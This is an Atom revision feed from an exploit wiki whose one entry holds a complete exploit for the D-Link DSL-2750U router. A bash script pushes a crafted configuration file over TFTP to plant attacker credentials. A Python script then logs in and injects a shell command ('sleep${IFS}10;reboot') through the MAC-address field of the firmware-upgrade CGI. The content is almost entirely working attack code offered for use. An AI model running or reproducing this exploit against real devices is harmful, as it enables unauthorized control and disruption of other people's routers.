<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Dlink_DSL2750U_-_%27Reboot%27_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>Dlink DSL2750U - 'Reboot' 命令注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Dlink_DSL2750U_-_%27Reboot%27_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Dlink_DSL2750U_-_%27Reboot%27_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T02:45:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Dlink_DSL2750U_-_%27Reboot%27_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=5374&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Dlink DSL2750U - 'Reboot' Command Injection # Date: 17-06-2021 # Exploit Author: Mohammed Hadi (HadiMed) # Vendor Homepage: https://me.dlink.com...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Dlink_DSL2750U_-_%27Reboot%27_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=5374&amp;oldid=prev"/>
		<updated>2021-06-19T01:19:40Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Dlink DSL2750U - &amp;#039;Reboot&amp;#039; Command Injection # Date: 17-06-2021 # Exploit Author: Mohammed Hadi (HadiMed) # Vendor Homepage: https://me.dlink.com...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Dlink DSL2750U - 'Reboot' Command Injection&lt;br /&gt;
# Date: 17-06-2021&lt;br /&gt;
# Exploit Author: Mohammed Hadi (HadiMed)&lt;br /&gt;
# Vendor Homepage: https://me.dlink.com/consumer&lt;br /&gt;
# Software Link: https://dlinkmea.com/index.php/product/details?det=c0lvN0JoeVVhSXh4TVhjTnd1OUpUUT09 Version: ME_1.16&lt;br /&gt;
# Tested on: firmware GAN9.ET235B-B-DL-DSL2750U-R5B028-ME.EN_2T2R*&lt;br /&gt;
# https://github.com/HadiMed/firmware-analysis/tree/main/DSL-2750U%20(firmware%20version%201.6) &lt;br /&gt;
&lt;br /&gt;
### &lt;br /&gt;
&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
# Exploit by HadiMed &lt;br /&gt;
&lt;br /&gt;
# Takes advantage of the tftp server that accepts the cfg file blindly &lt;br /&gt;
echo -ne &amp;quot;\n&amp;quot;&lt;br /&gt;
echo &amp;quot;Exploiting Dlink DSL-2750u version 1.6&amp;quot;&lt;br /&gt;
echo -ne &amp;quot;\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Sending the payload &lt;br /&gt;
echo -ne &amp;quot;binary\nput cfg.xml\nquit&amp;quot; | tftp 192.168.1.1&lt;br /&gt;
echo -ne &amp;quot;\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;File uploaded Successfully&amp;quot;&lt;br /&gt;
echo &amp;quot;Waiting for router to restart&amp;quot;&lt;br /&gt;
&lt;br /&gt;
sleep 180 # approximate time for router to restart &lt;br /&gt;
&lt;br /&gt;
python3 exploit.py&lt;br /&gt;
&lt;br /&gt;
###&lt;br /&gt;
&lt;br /&gt;
import requests &lt;br /&gt;
&lt;br /&gt;
# HTTP request looks like this &lt;br /&gt;
'''&lt;br /&gt;
POST /cgi-bin/webproc HTTP/1.1&lt;br /&gt;
Host: 192.168.1.1&lt;br /&gt;
Content-Length: 175&lt;br /&gt;
Cache-Control: max-age=0&lt;br /&gt;
Upgrade-Insecure-Requests: 1&lt;br /&gt;
Origin: http://192.168.1.1&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&lt;br /&gt;
Referer: http://192.168.1.1/cgi-bin/webproc&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Accept-Language: en-US,en;q=0.9&lt;br /&gt;
Cookie: sessionid=deadbeef; language=en_us; sys_UserName=user; sessionid=634cdf91&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
getpage=html%2Findex.html&amp;amp;errorpage=html%2Fmain.html&amp;amp;var%3Amenu=setup&amp;amp;var%3Apage=wizard&amp;amp;obj-action=auth&amp;amp;%3Ausername=user&amp;amp;%3Apassword=user&amp;amp;%3Aaction=login&amp;amp;%3Asessionid=634cdf91 &lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
# 1 Getting a session id &lt;br /&gt;
&lt;br /&gt;
# password and username crafted by me on the cfg.xml file &lt;br /&gt;
&lt;br /&gt;
username = &amp;quot;pwned&amp;quot;&lt;br /&gt;
password= &amp;quot;pwned&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# acually the client set the sessionid in condition that the password and username are correct&lt;br /&gt;
&lt;br /&gt;
Cookie=&amp;quot;sessionid=deadbeef; language=en_us; sys_UserName=pwned; sessionid=deadbeef&amp;quot;&lt;br /&gt;
Contentty=&amp;quot;application/x-www-form-urlencoded&amp;quot;&lt;br /&gt;
Referer=&amp;quot;http://192.168.1.1/cgi-bin/webproc&amp;quot;&lt;br /&gt;
Contentlen=&amp;quot;175&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Sending first request to set our session id &lt;br /&gt;
response = requests.post(&amp;quot;http://192.168.1.1/cgi-bin/webproc&amp;quot;,&lt;br /&gt;
	headers={&amp;quot;Cookie&amp;quot;:Cookie , &amp;quot;Content-Type&amp;quot;:Contentty , &amp;quot;Referer&amp;quot;:Referer , &amp;quot;Content-Length&amp;quot;:Contentlen }&lt;br /&gt;
,	&lt;br /&gt;
	data={	&amp;quot;getpage&amp;quot;:&amp;quot;html/index.html&amp;quot;,&lt;br /&gt;
	      	&amp;quot;errorpage&amp;quot;:&amp;quot;html/main.html&amp;quot;,&lt;br /&gt;
	      	&amp;quot;var:menu&amp;quot; : &amp;quot;setup&amp;quot;,&lt;br /&gt;
		&amp;quot;var:page&amp;quot;:&amp;quot;wizard&amp;quot;,&lt;br /&gt;
		&amp;quot;obj-action&amp;quot;:&amp;quot;auth&amp;quot;,&lt;br /&gt;
		&amp;quot;:username&amp;quot;:username,&lt;br /&gt;
		&amp;quot;:password&amp;quot;:password,&lt;br /&gt;
		&amp;quot;:action&amp;quot;:&amp;quot;login&amp;quot;,&lt;br /&gt;
		&amp;quot;:sessionid&amp;quot;:&amp;quot;deadbeef&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
	)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Referer = &amp;quot;http://192.168.1.1/cgi-bin/webupg&amp;quot;&lt;br /&gt;
&lt;br /&gt;
name = &amp;quot;mac&amp;quot;&lt;br /&gt;
cmd = &amp;quot;1;sleep${IFS}10;reboot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Contentlen = str(len(name+cmd)+10)&lt;br /&gt;
&lt;br /&gt;
if response.status_code==302:&lt;br /&gt;
	print(&amp;quot;got sessionid=deadbeef !\n waiting for the reverse shell ...&amp;quot;) &lt;br /&gt;
&lt;br /&gt;
# access cgi-bin/webupg&lt;br /&gt;
try :&lt;br /&gt;
	response = requests.post(&amp;quot;http://192.168.1.1/cgi-bin/webupg&amp;quot;,&lt;br /&gt;
        headers={&amp;quot;Cookie&amp;quot;:Cookie , &amp;quot;Content-Type&amp;quot;:Contentty , &amp;quot;Referer&amp;quot;:Referer , &amp;quot;Content-Length&amp;quot;:Contentlen }&lt;br /&gt;
        ,data = {&amp;quot;name&amp;quot;:name , &amp;quot;newmac&amp;quot;:cmd} , timeout=0.0000000001&lt;br /&gt;
&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
except requests.exceptions.Timeout :&lt;br /&gt;
&lt;br /&gt;
	print(&amp;quot;done router will restart in 20 sec&amp;quot;) 	&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;Device restarted!&amp;quot;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>